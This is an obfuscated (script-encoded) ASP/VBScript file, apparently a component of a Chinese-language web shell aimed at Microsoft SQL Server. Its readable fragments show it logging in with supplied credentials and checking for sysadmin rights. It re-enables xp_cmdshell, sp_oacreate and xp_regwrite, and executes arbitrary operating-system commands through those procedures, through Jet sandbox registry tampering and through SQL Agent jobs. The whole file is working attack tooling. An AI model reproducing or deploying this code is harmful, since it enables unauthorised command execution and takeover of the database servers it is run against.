U2].A]jb]&b~S2U`riIdJb[rgj}dbbzxS}Mr`P@*@!wrgK~Z6J}IxAd)Zn@*退出登陆@!&wr1P@*@!z)@*@!&;2H:2"@*@!~I@*E@#@&@#@&qwP]35j2UP`r?pd))br#{JJr!(gJ~K_31@#@&77,PP~~,Pj2:~zf6;rg1'U2"#2"R/IAbP3}A9A/KvJbG69AcZ}1H2/P&rHJ*~@#@&P77,PP~~,P)f}/}1Hcrh21,Jh]rjq92"'j}drSA9AcFiG)Pb,?}j]Z3xrP'P"3p`2jPcsr]\vJj2"#AIE*PLPJBJ,'P"2}jA?P wrItcJhrI:EbPLPriKbjjqr]f{EPLP]35j2jPcs6Itcrn)U?r#PLPrIj&fxJ,[~]ApjAjKcsr"\cJgbt2E#@#@&,P~P,~P,P~~,PP~~,P~P,~,qo,2"IRgjt$2"'R 8c{*+G l1P:C2g~@#@&,P,P~P~~,P~P,~P,P~~,PP~]A?KrgjAR "q:2Pr@!w61:P/rdr]x"2f@*数据源连接错误,请检查!@!zwr1:@*E@#@&P,P~P~~,P~P,~P,P~~,PP~~"2jn}HU2 A1G@#@&,P,~P,P~P,P~~,PP,~P,PP,3J?AqwP3I] gj\AA]' q*F F{0W&~K_3g@#@&,P,PP,P,~P,P~P,P~~,PP,~IA?n}Hj2c"qP2~E@!s61:~Z}S6]{I29@*用户名密码错误错误,请检查!@!zorgP@*J@#@&P,PP,P,~P,P~P,P~~,PP,~P"2?h6H?ARA19@#@&~,P~P,~P,P~~,PP~~,P~P,~ASjAqwP2"IcHjtA3I{!~P_21@#@&P,PP,~~P,P,P~P~~,P~P,~PUK]}`2Iexr?3SA/:P@$@$.AI?&rgE@#@&d7P,P~~,P?APP"2Z"3jjdK,'~b96;rH1c3(AZiPA`?P]5j3IIb@#@&7iP,PP,P,(s,qH?:Ic]AZIAjjdK`ZbSJgK,* !Eb,Ku2g@#@&id~~,PP~~"2jn}HU2 qI&K2,J@!orgK~Z}S6]{I2G@*&1f} jPy!Z!系统@!zo6gK@*@!~]@*r@#@&~,PP~~,P~P,~,P~,P,PP,P,j2U?(rg`EjI?KA\J*'JyTT!r@#@&P~P~~,P~P,~P,P~~,PP~~,P3SU3&s~&1UKIvIA/IA?iS:`TbBJ1:~*cFJ*~~K_2g@#@&P~~,P~P,~P,P~~,PP~~,P~P"3Un6g?AR"q:3Pr@!orgK~/}Sr"xIAf@*q(Hf}UPpn系统@!&wrHK@*@!A"@*E@#@&PP~~,P~P,~,P~,P,PP,P,~PU2j?&rHcr?5UP2tJ#{Epnr@#@&P~P~~,P~P,~P,P~~,PP~~,P3SU3&s~&1UKIvIA/IA?iS:`TbBJ1:~*c J*~~K_2g@#@&P~~,P~P,~P,P~~,PP~~,P~P"3Un6g?AR"q:3Pr@!orgK~/}Sr"xIAf@*q(Hf}UP+!Tf系统@!zorgP@*@!A]@*r@#@&~~,P~P,~,P~,P,PP,P,~P,Pj2U?(6g`JUe?:2HrbxJy!Z&E@#@&~,P~P,~P,P~~,PP~~,P~P,~ASjA@#@&PP,P,~P,P~P,P~~,PP,~P,PIAjKrg?AR I(PAPE@!w61:P/6drIx]Af@*其他系统@!Jo}1P@*@!~I@*r@#@&~P,P~P,P~~,PP,~P,PP,~~PU2U?(rHcr?e?:3Hr#xEgrJ@#@&,P~P,~,P~,P,PP,P,~P,P~PA19~&s@#@&~P,PP,~~P,P,P~P~~,P~P,~?:I}iAI5xEU2J2;P,qj|?".I}SA\2tA3IvBjeUbft(1E#J@#@&7d,P,P~P~jAK~IA/IA?iJ:P'~)Gr/rgHc2pAZ`K2v?:]p`2]5*@#@&~,PP,~P,PP,~~P,P,P~P~~,qoP"3Z"2jidK`Tb{F~K_3g@#@&,P,PP,P,~P,P~P,P~~,PP,~IA?n}Hj2c"qP2~E@!s61:~Z}S6]{I29@*恭喜!UpJPU3".3"最高权限@!JsrgK@*@!A"@*E@#@&P~~,PP,~P,PP,~~P,P,P~P~jA?jq}H`rn](r#'q@#@&P~P,~,P~,P,PP,P,~P,P~P,2JjA@#@&,~P,PP,~~P,P,P~P~~,P~P,]2Un6HU2R ]&K3Pr@!wrH:P;rS}I{]2G@*郁闷,权限不够估计不能执行命令!@!zwrHP@*@!A"@*J@#@&P,~~P,P,P~P~~,P~P,~P,P~jA??(6g`En"(r#xZ@#@&PP,P,~P,P~P,P~~,PP,~P,P2g9~qwP,P~P~~,P~P,~P@#@&77,PP~~,Pj2Uj&rHvJdrM&1rb'r53?r@#@&7iPP,~P,P?Ajjq}1vJHb\3r#xIA}jA?P wrI\cr1)HAE*@#@&id,PP,P,~?A?jq}1cEhb?UE#{I25i3?:Rwr]HcEhbj?rb@#@&d7~,PP~~,?3?U(}1cr?AI.AIrb'"2}jA?P wrItcJU2Ij3]J*@#@&d7P~~,P~PU3?Uq6HvJn6]:Jb'"35j3UKcsr"HvEn}IPJ*@#@&~,PP,~P,PP,~~P,P,P~P~~,2Hf,(s@#@&@#@&AS?3(wP]25iA?PvJUpSzbzE#{JP2UKE~,KCAH@#@&PP,~~P,P,P~P~~,P~P,~P,P(o,?2jj&rH`rJ}M(gJ*@!@*rJ,PCA1@#@&,P~~,PP,~P,PP,~~P,P,P~P(o,?3?U(rg`EjI?K3\r#xJyTZ!E,K_21@#@&,~P,P~P,P~~,PP,~P,PP,~~IA?hrH?3 qI(KA~J@!s6H:PZ6J}IxIA9@*(gf}?, ZT!系统@!zorgK@*@!~I@*r@#@&,PP,~~P,P,P~P~~,P~P,~P,2JjAqs~jA?jq}HvJjI?:2Hr#{E(hJ~K_2H@#@&PP,~P,PP,~~P,P,P~P~~,P~IAjn}1j3cI(PAPE@!w6gK~;rdrI{IA9@*qqHf}j~on系统@!JorgK@*@!$]@*r@#@&P~P~~,P~P,~P,P~~,PP~~,P3SU3&s~U2U?q}1vE?I?P2tJbxr !ZfJ,KCAH@#@&,P,P~P~~,P~P,~P,P~~,PP~]A?KrgjAR "q:2Pr@!w61:P/rdr]x"2f@* qgfrqj~ Z!2系统@!&s6H:@*@!A"@*J@#@&~~,PP~~,P~P,~,P~,P,PP,PAJ?A@#@&P,P~~,PP,~P,PP,~~P,P,P~I3jhrH?A "qP3,J@!o6gK~Z}J}Ix"2G@*其他操作系统@!Js}HK@*@!$I@*J@#@&,PP,~P,PP,~~P,P,P~P~~,P31G~qw@#@&~,PP~~,P~P,~,P~,P,PP,P,(s,?3?Uq6HvJn"(J*'F,Pu2g@#@&P~P~~,P~P,~P,P~~,PP~~,P]2UK}1jARqIq:2,E@!wrHK,Z6J}I'"3f@*恭喜!?pd~j2".AI最高权限@!zo6gK@*@!~]@*r@#@&~,PP~~,P~P,~,P~,P,PP,P,3SU2~@#@&P~~,PP,~P,PP,~~P,P,P~P~]A?Krgj2c](:2PE@!wrHK,/}S6"'"2f@*郁闷,权限不够估计不能执行命令!@!JorgK@*@!~I@*E@#@&P,~P,PP,~~P,P,P~P~~,P~PAHf,qo@#@&dd~~,P~P,jAK~zf}Zrg1{j2".3IcZ]3zK2}$9AZKvE)f}f~R/rHHAZPq}HJ*P@#@&,dd~~,P~P,)Gr/}1gRrh2g~JhI6.&f3]{?pd6SAfAcqIfzKzPjri];2xJ,'PU2jj&r1cEU2].A]r#~LPr~J,[,j2U?(rg`EK}IKrbPLPJpK)?U}I9'E~LPj2Ujq}1cEhb?jE*P'PrI`q9{J,[PU2Ujq}1cJgb\3r#P,~P,PP,@#@&@#@&P,P~P~~,P~P,~P,P~~,PP~~UK]p`3"5xr?AS2;K,/r`1P`C#~o"rH,\bUK2" 9A}RU5jr$BAZP?, CAI3~oK5K3{BpB,)gf~gbt2'E(hmZtfjCASJvr@#@&i7P,PP,~~?AK,I3Z]3UjJK,xPzf6/}11 3o2/j:3v?P"p`2II#,@#@&id~P,P~~,qs,]2;I2UiJKv!*PPC3H@#@&7d,~P,P~~U2?j(}1cJoK|Z\G?_2SdJ*xF,@#@&diP~~,PP,]2Unrgj3RqI&K3PE@!wrHK,/rdr]x"2f@*ph{/HGj_2JdRcRRcRc RcR R,存在"@!&wr1:@*J@#@&P,~~P,P,P~P~~,P~P,~P,P~3d?2@#@&id~P,~,P~U2U?q}1vE(h{/HG?u3dSJ*x!,@#@&i7~P,P,P~I3jhrH?A "qP3,J@!o6gK~Z}J}Ix"2G@*(h{;\fUC3SdR cRRc RcRRc~不存在Z@!Js}1P@*E@#@&P~P,~P,P~~,PP~~,P~P,~,P3gf,qs@#@&i7P,P~P,PjP"pjA]5{J?AJ3Z:P;ri1PcC#~s"6H,H)j:2I 9~r ?Ij}ABAZ:?PqCA]2,(P5h2xvoBPzHf,1bt3xBUn|r)Z]3zK3Br@#@&id~~,PP~~U2PP"3;I3UjdKP{Pz9r;rH1c2p3;jKAc?:Ip`3]5*P@#@&7d~~,P~P,(s,I3/"2?iJ:`T#,P_2H,@#@&dd,P,~P,P]2Un6HU2Rq]q:2Pr@!$I@*@!wrHK~/}S6I{]2G@*jK|rb/]AbP2c cR cRcRRcRc~存在"@!zorgK@*E@#@&di~P,PP,~j2U?&rH`Ejh{6b;]2zK3E*'F@#@&,P~P,~,P~,P,PP,P,~P,P~PASj3,@#@&i7P,PP,~~IA?hrH?3 qI(KA~J@!A]@*@!srHP,Z6S}]{I3G@*Un{}b;]2zK3RcR cRRc RcRP不存在e@!&s}1:@*E@#@&~,P~P,~P,P~~,PP~~,P~P,~U2jUq}1`r?hmrzZ]2zK3E*'!@#@&P,PP,~~P,P,P~P~~,P~P,~PA19~&s@#@&7iP~P,~,Pj:I5j2"5{E?AS3Z:P/6`1KvM#,sI}\~Hz?:2]R9$}Rj5U6Ax2/PUPu3"2~(:eh2xE(EPbgf,Hbt2xBonm]AM"(KABJ@#@&7d,P,P~P~jAK~IA/IA?iJ:P'~)Gr/rgHc2pAZ`K2v?:]p`2]5*P@#@&idP,~P,PP&o~IAZ"2jjJPv!bP:u2gP@#@&idP~~,P~P"3Un6g?AR"q:3Pr@!$I@*@!o6gKP;6S}I'"39@*on|I3M ]&K3Rc RcR cRR ,存在"@!zw6gK@*r@#@&dd,P,~P,Pj2U?(6g`JoK{"2Mq](KAJ*'q@#@&~,P~P,~P,P~~,PP~~,P~P,~ASjAP@#@&diP,~P,P~IA?K6g?2c I&K2,E@!A"@*@!s61P~;rJr"xIAf@*ph{I3!qI(KA cR cRcRRcRc P不存在e@!&s}1P@*r@#@&i7P,PP,~~?A?Uq61cEonmIA!"qP3r#'T@#@&P~P,~,P~,P,PP,P,~P,P~P,2H9,qs@#@&diPP,~~P,?:I}j3]I'E?AJ2;K~/}j1PcC#~s"6tP\z?:2Icf~6RU5jr~93/:?Pqu2"2PoPenA'E(vP)HGPHbt3'E(KmU2I#(;2/rgP"rJEJ@#@&diP,~P,P~?AK~]AZIAjjdKP{~)f}Z}1HR3pAZiKAc?:I}iAI5b~@#@&7d,~,P~,P&sP"2;]2UjJKv!b~:C2g~@#@&dd,~~P,P,I3?K6g?3Rq]q:2~E@!AI@*@!wrHK,/}S6"'"2f@*(hm?AI#q;2/6gKI}JP存在e@!zw6HK@*J@#@&7d~~,P~P,j2U?(6g`JpK|?3Ij(;2/}1:IrdJ*xF@#@&~P,P~~,PP,~P,PP,~~P,P,P3Sj3,@#@&di~P,P~~,I2jK}1j2c "qPAPr@!A"@*@!orgK~Z}S6]{I2G@*(h{?A]#q;2;rHK]6dP不存在Z@!JorgK@*E@#@&d7~,P~P,~U2jUq}1`r(hm?AI#q;2/6gKI}JJ*'!@#@&~P,P,P~P~~,P~P,~P,P~~,P2H9,qo@#@&~,P~,P,PP,P,~P,P~P,P~~,2SU3P@#@&P,~~P,P,P~P~~,P~P,~P,P~]A?n6HU2 "(:2~r@!UZI&n:@*bd2]KvB操作超时,重新登陆!vb@!z?;]qhK@*r@#@&P,P,P~P~~,P~P,~P,P~~,PP]3Un61U3c]&KAPJ@!ZAHKAI@*@!zPu]As'r'IApjAjPRU2".3I#)"q)Ad3?vJi]dJ#'EQ?}Sz)z'J}M}jK@*@!w61:P/rdr]x~Sb;F@*登陆超时@!zs}HP@*r@#@&P~P~~,P~P,~P,P~~,PP~~,P]2UK}1jARA1f@#@&,~P,P~P,P~~,PP,~P,PP,~~2gf,qoP@#@&@#@&3SU3qwP]35j2jPvJjpd)zbE*'rZHGJ,PCA1@#@&,P~~,PP,~P,PP,~~P,P,P~P(o,?3?U(rg`EJ}MqHE*@!@*Jr~:C3g@#@&PP,P,~P,P~P,P~~,PP,~P,Pqw~j2U?&rH`EK"qE#{qP:C3H@#@&d7~,P~P,~&s~"25j2UKvEK}rJJ*'Eph{Zt9?_2SdE~K_2g@#@&d7~,P~P,~?AK~)GrZ6Hg'j2"#AI ;IAbKAr~B2;KcJzf69~RZ}H1AZK&6HJ*P@#@&~d7~,P~P,~bGr/6g1R6KA1~Jh]}.(G2"'?5S}J2GA Fpf)PzP?}iI;2'r~'PU2U?(rHcr?3Ij3Ir#~',J~E~LPj2Uj&rHvJhrI:J*~[,JInz?j }If{EPLP?Ajjq}1vJKbjjr#~[,Ei`q9xrP[~jA?jq}HvJHzHAJ#@#@&i7P,P~P,P(o,I25i2UKRw6]HvJ;H9Jb@!@*JEP:u2gP@#@&,Pd7~,P~P,~UK]5jAI5,',E2o2/PtbjPAIRG$rc(n|/\fUCASJPvE,[~IA}jA?P wrI\crZ\frb,[~rBrP@#@&P,~P,P~P,P~~,PP,~P,PP,~j2:P"2/I3j`SPP{~bGr/6g1R3pAZiKAcUK]5jAI5*P@#@&P,P~P,P~~,PP,~P,PP,~~P,qwPHrP~"2/IAjjdK 3}sPPuA1~@#@&~,P~,P,PP,P,~P,P~P,P~~,fr, C&S2,H6K,IAZ]2jidK 2}oP@#@&~~,PP~~,P~P,~,P~,P,PP,PUPI"2jjdK~x,?K"]2UjS:~'P;C"`q&b~LP]2;]2UjJPv!#~@#@&P~P,~,P~,P,PP,P,~P,P~P,I3/"2?`JKcHrj3H2oK,@#@&P~~,P~P,~P,P~~,PP~~,P~Pd6}n@#@&diPP,P,~PA19P&s@#@&idP,~P,PPU3PP"2;I3?iJ:PxPg6K_qH!@#@&P~~,P~P,~,P~,P,PP,P,~P,I3?hrHjAR"(KAPJ@!P3(:b"2)P]6q?xFZ~Z}Sjxl!@*E@#@&P~P,~,P~,P,PP,P,~P,P~P,I3jhr1U3RqIq:3~J利用r["2}j3j:`EK}6Sr#'E扩展执行r@#@&~~,P~P,~,P~,P,PP,P,~P,P]2Un6HU2Rq]q:2P"3}jA?:Ror]\vJ/HGE#,@#@&~,PP~~,P~P,~,P~,P,PP,P,]2Un61U2 "qKA~?:IIAjiS:@#@&P~P~~,P~P,~P,P~~,PP~~,P]2UK}1jARqIq:2,E@!JK3(:b]3z@*J@#@&diPP,~~P,2gf~qo~@#@&7d,~P,P~~idP~~,P~P@#@&,P~,P,PP,P,~P,P~P,P~~,P2dj2&sP"3}jA?:`EK66dJb'rjn|r)/"2bP3rPPCAH,@#@&id,PP,P,~?AK~bGr/6g1'U3Ij2Ic/]2zKAr$93/:`EbG6f~R/6g12/P&rHJ*~@#@&~id,PP,P,~bGr/rg1 6h21,En"r.&93I{?5S6S39~RqiG)KzPj6`IZ3xrP'PU3U?(}1vJ?AIj3Ir#~[,JSE,[PU3?UqrgcEn}I:JbP'~riKbUj}I9xrP[~jA?jq}HvJKz?UJ#,[,Ei`q9'rP'~U2?U(rg`Jg)\2r#@#@&7d~~,P~P,(s,I3}`2?P wr]HvE;H9r#@!@*JrP:u2gP@#@&,P77,PP,~P,?K"}i2"5,'~J/]AbP2,Pb~S3~]91/DvI3?`J:Kp:Pg.b"Z_)IvFT W#~H`SS*IjU2Pt)jKAI,f3ZJ)"2~@$}~qgK~3o2Z~jh{6b;]AbPAPE?;I&KKc?u2dSvS@$rP}iK,2(A/~?h{}b\2Pu}f~@$}SB"jHvB1jJJBB/HG~JZ~r["2p`2UP`rZ\fr#'E,@*PRFFRKtKv~Z~:Ii2I$`SFP&H?AIP~]91/D,s]rt~E%8GcKHhB, q:C~`n23KgjSdj#pJ@#@&77P,P,P~P)9}Z61g 2o2/i:2`jP"pi2"e*@#@&,P,PP,P,~P,P~P,P~~,PP,~?:Ip`3]5,',Jj2J3;K~e,oI}H~BgZJ@#@&id~P,~,P~U2:PIAZ"3?`SPP{P)9}ZrgHRA(2;iP2v?:I}j3]I#@#@&i7P,P~~,Pqo~grPP"3;I3UjdKRArw~K_2HP@#@&~~,PP,~P,PP,~~P,P,P~P~~Gr~_(SAPH6:PI3/"2jjdPc26wP@#@&P,P,~P,P~P,P~~,PP,~P,PPUP]IA?`SPPx~UK]IAjjdK~',ZC]c8&bPL~"2/"2UjS:`ZbP@#@&~P,P~~,PP,~P,PP,~~P,P,P]2/]A?iS: H}.3HA(K~@#@&P~P,~,P~,P,PP,P,~P,P~P,S66hP@#@&~P,PP,~~P,P,P~P~~,P~P,~2gf~(w@#@&77,P~P,~,?3:P"2Z"2UiS:PxPgrPu&1M@#@&P,PP,~~P,P,P~P~~,P~P,~P"2jK}1?3 qI(KA~r@!PA(:bIAb,]rq?xFZP/6d?'lT@*r@#@&i7~P,P,P~I3jhrH?A "qP3,J利用J']Api2UPvJP}rdJ#LJ扩展执行r7@#@&P~P,P~~,PP,~P,PP,~~P,P,I3?K6g?3Rq]q:2~]Apj3j:Ror"\vJ/tfr#P@#@&,~P,P~P,P~~,PP,~P,PP,~~IA?hrH?3 qI(KA~?:I]3UjSP@#@&P~P,~,P~,P,PP,P,~P,P~P,I3jhr1U3RqIq:3~J@!z:2pK)]Ab@*J@#@&diP~~,PP~j:I}jA]IPx,JGIrhP:)Ad2~$x1/Dpf2;Jb"2P@$6~qgK,2p2/~Unmrz/IAbP3,Bj/"qKKcj_2JdBB@$r,r`PPA(3Z,?Km}bHAPC}fP@$6SB"jgBS1iJd~vZt9PJZ~9ASP08G KtKEJ@#@&PidP,P,~P,b9r;rHHc2(A/j:2`UP]p`2"5b@#@&7iP~P,~P,2H9,qs@#@&@#@&~P,~,P~,P,PP,P,~P,P~P,P3JU2qw~IApjAjP`rK}rJJbxr(K{"3MqI(PAJPPuA1@#@&,~,P~,P,PP,P,~P,P~P,P~~&sPU3?UqrgcE?I?:2\Jbxr T!ZEP:C3H@#@&P~~,P~P,~,P~,P,PP,P,~P,n)K_'E/=-&H1:-?IjP2t&y-(bjw&bjRt9Ar@#@&~,PP~~,P~P,~,P~,P,PP,P,3SU2@#@&,P~~,PP,~P,PP,~~P,P,P~PK):CxJ;l-qqH9}?wjI?P2tfy-(z?'qbURt9Ar@#@&P,P~~,PP,~P,PP,~~P,P,P~2H9,qo@#@&7d,P~~,PPj3:P)f}/}1H{?AI.AIc/IAbP2}AB3;K`r)f}fAc/61g2;K(rHE*P@#@&,7d,P~~,PP)9}Z61g }n3gPrnI}.&92"'jpdrJ3GAR8IfzKb,j6j"ZA'EP'~U2j?&61vJj3".2]E*P'PrSrP',?A??&rgcJhr]Kr#~',Jih)?Ur"9xJ,[,?3?j(}1cJh)?UJb~LPJIi&fxJ,',?3U?&r1vJg)HAJb@#@&d7~,PP,~P&sP"3}jA?:Ror]\vJ/HGE#@!@*EE,KC3H@#@&7d,~,P~,P;Hf{Z_]`2cb[rZ\9c2(A~z;PJL]3p`2UK s6]t`EZt9J*[E~@*P%qFRPHhELZu"`2c#@#@&i7P,P~P,PjP"pjA]5,'Pr/]2zKAPPb$JAP,9g/TvI3j`SKPp:PH.z];C)"`8! W#,HjdSbiA(3/,HbUP2"RRoKmIAMqI(K3~ECF2ImS}Z)J|Hb/u&13BBvUro:zI2'H&/I}?6s:-B3:-ccT-A1M&H3?E~E?)19$}(\rG3BBB]3V{f 6"fv~ZIU2JAZ:Pe,s"6H,rK2gI6 U2KvvH&ZI}j6s:Rx2PR6JAf$RW !E~vIGbK)$z?3'r~LPKzK_P[rBBv?AS3Z:PjuASSvE[;HfLEbB*ir@#@&P~~,P~P,~P,P~~,PP~~,P~Pz9}Z6g1c2(AZ`P2v?PI5j3]I#@#@&7d,PP,~~PUK"pi2]e,'~JU3SAZP~CPs]6tP6nAH"r U2:`Btq;]rUroKc93PcrSA9AccRZvSBpfzK)A)jA'EPL~nzKu~LJBSvU2J2;P,?uASd`JLZ_]`2cb[rZ\9c2(A~z;PZ}KePRv8G K\K,9HZcPHhJ'/_I`f**[E#EbpAid|,q1U2"PP]9HZYPo]}HPEB1;RKtKvPqq:C~`F3AnHjdJ?*iE@#@&dd~~,P~P,jAK~"2;I2UjdPP{P)f}Z6HgR2o3Z`K2vjPI5jAIe#@#@&id~P,~P,PjP"pj3]I'E?AJAZP,e,sI}H,,9gZDir@#@&~,PP,~P,PP,~~P,P,P~P~~,?3K,]2;I3j`SK~x,b9r;6g1 A(AZj:2vjK"pi2"5b@#@&dd,~P,PP,(oPgr:P]2/]A?iS: 2}s~P_21~@#@&P~P,~,P~,P,PP,P,~P,P~P,f6~qCqd3PgrK,]3Z"2UjJK 3}s~@#@&~P,P~~,PP~~,P~P,~,P~,P,?K"IAjjdK~',?P]"2?`JK,[P;u]`8&*P'P]3;I3?`JKv!b~@#@&P~~,P~P,~,P~,P,PP,P,~P,I3Z"2jidKRt6.A12oP~@#@&P,P~P~~,P~P,~P,P~~,PP~~dr6n,@#@&P~,P,PP,P,~P,P~P,P~~,PPAHf,qs@#@&~P,P,P~P~~,P~P,~P,P~~,P?3P,I3Z"3UjJ:P{P1}K_(1V@#@&P,P~~,PP,~P,PP,~~P,P,P~I3jhrH?A "qP3,J@!P3oK)IA),I6q?{F!,Z}J?{*T@*r@#@&~,PP,~P,PP,~~P,P,P~P~~,I3?h61U2 "qK3~r利用J'IA}`2j:`rKr}Srb[r扩展执行J@#@&,P~~,PP,~P,PP,~~P,P,P~P]3Un61U3RqI(PAPI3}`2jKco}I\vJ;Hfr#,@#@&,P~P,P~~,PP,~P,PP,~~P,P"2jn6HU2 "(KAPjP"I2jidK@#@&,~,P~,P,PP,P,~P,P~P,P~~"2?h61U2Rq](KAPr@!&K3p:b]2z@*J@#@&77,PP~~,PjK"}`2]IP{PJGI}KP:b$SAP,BgZTp3(AZPt)jKAIcRpnm]AM I&P2,BuFA5{J6;bJ{t);C(g2E~BUrwPzI3-tq/]}?rwP-x2K'* !'2gM(13jE~v?zHf~rp\}f2vSEI3M|9qr]GBBFiU2d3Z:PMPwI6\,rnAHI}?APcBtq;I6?6o:RB2: rd29$ccRTvBBIfzPzA)U2{JPLPh)K_P'JE~vjAS2;PPUC2dJcJLZ_Ic&*bLJ/HG 2o2~&;Pf3J,%FF :HKL[G2S,9g/R:HKJLZu]v&c*'J*B#pE@#@&id,P~P~~,b9r;61gR3pAZjP3v?PI5iAIe*@#@&dd,P,~P,P31GP(o@#@&@#@&7d,PP,~~PASU2(s~]Api2UP`rK66dJ#xEUpJ?A]j2]zMA1KrP:u2g@#@&diP~~,PP,j2:PbG6/rg1{?3I#3"R/IA)KAr$BAZKcEzf6f~ ;rHg2;Kq}1rbP@#@&~diP~~,PP,)f}ZrgH rh2gPEn]6jq92"x?5S6JAfA qpf)Kz~Uri"ZA'J,[,j2U?(rg`EjAI.A]J*P[,ESJ,[,?3?j(}1cJh6I:Jb~LPJIKz?j}]G'E,[,?2U?&61vJKbU?Eb,[PrIj&f'r~'PU2U?(rHcr1)HAE#@#@&@#@&idP~~,P~P&o,I35jA?Kcs}]HvJ/HGJb@!@*JJ,PCA1@#@&~~P,P,P~P~~,P~P,~P,P~~,qs~jA?jq}HvJj5SU2Ij2")MA1PJ*'T~:C2g@#@&,PP,~~P,P,P~P~~,P~P,~P,?P]5j2]e,'~JApAZ~tbUK2"RG$rc(K{U2]#&Z2;61:Ird~v?:b"Kv~vj5Sj2"#2"b!3gKBIE@#@&~P,~,P~,P,PP,P,~P,P~P,P)9}ZrgHRA(2;iP2v?:I}j3]I#@#@&,~P,P~~,PP~~,P~P,~,P~,PU2?Uq}H`r?}SU2]#AIbV31:J#{q@#@&,P,P~P~~,P~P,~P,P~~,PP~3gf~qw@#@&@#@&id,PP,P,~?:I}jAIe~{PJ`j2,H?G$~Z"2zK3PP)~S3P]B1;?}JY`I3j`SPKoP,1#zI;Cb"`8T W#~1`SJb,2(A/PUn{G3J2:2|96A~H`SJ~EpB,2p3;P?Kmzf9{x6~PvoB,2(AZ,jn|b9f|96$UK2h~1`SSBvpBB1`SJ~vqE~vZt92o2/vBBZ\9,z/Pr'"2}`2UKRwr"\`rZ\fr#'EEP2o3Z,?n|)9f|9}Aj2]#AI~1`JSBBpvB@$@$j3".3Ig)t2~A(AZPUn|jKzIP{xr$~E(BpE@#@&PP,~~P,P,P~P~~,P~P,~P,P)9}ZrHHc2p2;i:2cUK"pjAIIb@#@&P~P,P~~,PP,~P,PP,~~P,P,b9r/6g1 2o3Z`K3cUKI}iAIe#@#@&,P~,P,PP,P,~P,P~P,P~~,PbG6Z}11c3p2;j:2c?P]5j3IIb@#@&P~~,PP~~,P~P,~,P~,P,@#@&,P,~P,P~P,P~~,PP,~P,PP,]3?hrg?3R ]&K3Pr@!KA(P)"2b~]}j'8T,Z6d?{*!@*J@#@&P,P~P,P~~,PP,~P,PP,~~P,IA?KrHjAR I&P2,J利用E'"2pi3UKcJ:6}SE*[r扩展执行J@#@&P,~P,P~P,P~~,PP,~P,PP,~]2Un}1j2 "qP2,]25j3j:Rs6]t`EZt9r#~@#@&,PP,P,~P,P~P,P~~,PP,~P,I2UK61U2c]qP3,.$Z"o@#@&P~~,PP~~,P~P,~,P~,P,PP,IAjn}1j2c](:2Pr此扩展无回显,建议通过重定向查看命令结果E@#@&PP,~~P,P,P~P~~,P~P,~P,P]3UnrHjAR I&PAPE@!z:2(:b"3b@*J@#@&id~~,PP,~?:Ip`3]5,',Ji?3~t?9A,9I}n~PzAS3~]9HZU}dTIr@#@&PP,P,~P,P~P,P~~,PP,~P,PbG6/rg1c2p2/i:2c?:]p`2]e*@#@&~~,P~P,~,P~,P,PP,P,~P,P31GP(o@#@&P,~P,PP,~~P,P,P~P~~,P~PAJ?Aqo~"2pi3UKcJ:6}SE*'rJP:CAHP@#@&~P,P~~,PP,~P,PP,~~P,P,P]2jK}1j2c I&K3~r@!?/]&nP@*zJAIPvB选择你要使用的扩展E#@!J?;]qhK@*J@#@&~~,PP,~P,PP,~~P,P,P~P~~A19P&o@#@&P~~,PP~~,P~P,~,P~,P,PP,2dj2@#@&~P,P~~,PP,~P,PP,~~P,P,P]2jK}1j2c I&K3~r@!?/]&nP@*zJAIPvB权限不够哦!E#@!J?;]qhK@*J@#@&~~,PP,~P,PP,~~P,P,P~P~~A19P&o@#@&P~~,PP~~,P~P,~,P~,P,PP,2dj2,@#@&P,P~~,PP,~P,PP,~~P,P,P~I3jhrH?A "qP3,J@!j/"qKK@*)d2]:`E操作超时,重新登陆!B#@!zU/I&nP@*r@#@&~,PP,~P,PP,~~P,P,P~P~~,I3?h61U2 "qK3~r@!/2gPAI@*@!b,CIAs{E["2}jA?P U2Ij3IjbI&)$SA?vJiIJE*[EgU}Szb)xdrM6i:@*@!s}H:P/}S}I'~Sz/|@*登陆超时@!&s}1P@*r@#@&,~P,PP,~~P,P,P~P~~,P~P,]2Un6HU2R3HG@#@&P,~,P~,P,PP,P,~P,P~P,P~3gfP&o@#@&@#@&AJj2&s,I3pi3UKcJU}Szb)E*'J]3Uj\2r~:C3g@#@&PP,P,~P,P~P,P~~,PP,~P,Pqw~j2U?&rH`EJ}M(1rb@!@*JE~:C2H@#@&P~P,~,P~,P,PP,P,~P,P~P,?3P,bf}/rg1'U3].AIcZ]2)PAr$9A/KvJ)9}fA /}1H2;P&rHr#,@#@&,di~P,P~P,b96;r1g rh21,EKI}.&f3Ixj5S6SA9AcFI9zKb~j}j]ZAxrP',?A??&rgcJU2].AIEb,[PrSJ,[PU3j?&rg`En6]:JbPL~Jpn)jUr]9{J~[,jA?j&rg`JhbUjJ*P'Prii(G'J,'PU2?U(61vJgb\2Eb@#@&~P,~P,P~~,PP~~,P~P,~,P~&s,?2U?&61vJpn|Z\9UC2dJJ*'!,Pu2g@#@&P~P~~,P~P,~P,P~~,PP~~,PjK"}`2]I'rfA;Z,)fG2pKA193GnI}/PvB(hm/HG?_2JSvSE(KS}!GZR9JdB#E@#@&d7P,~,P~,bGrZ}1g 2o2/j:2cj:Ip`3II#d@#@&~P,P,P~P~~,P~P,~P,P~~,PI3jhrH?A qI(:2,J@!wrgPP;rJr"']3G@*已经尝试恢复(hmZtf?_3JS@!zwrHK@*E@#@&~P,~P,P~~,PP~~,P~P,~,P~ASU2qwPU3?Uq61vJjK|rb;]2zK2rbx!,K_2H@#@&7iP~P,~P,?P]5j2]e{J9A;/,b9G2oK2gfA9n"r/PvBjK|rb;]2zK2ESvrG?}S3GT GSJB*E@#@&d7~,PP~~,b9r;6g1 A(AZj:2vjK"pi2"5b7@#@&P,~P,PP,~~P,P,P~P~~,P~P"3?hrHjAR](:2~J@!o}1P,Z}Sr"'"3f@*已经尝试恢复?K{}b/]AbKA@!zwr1:@*E@#@&diP~P~~,P3SU3qwPj3U?q6HvJpn|]AM "q:2J*'Z~K_2H@#@&d7~,PP,~PUKI5i3II'rf$Z/~zf92oP2gf39hIr/~vBpn|]AM "q:2BBBoK?:b]RGSJv*J@#@&7d,PP,~~Pzf}Z61H 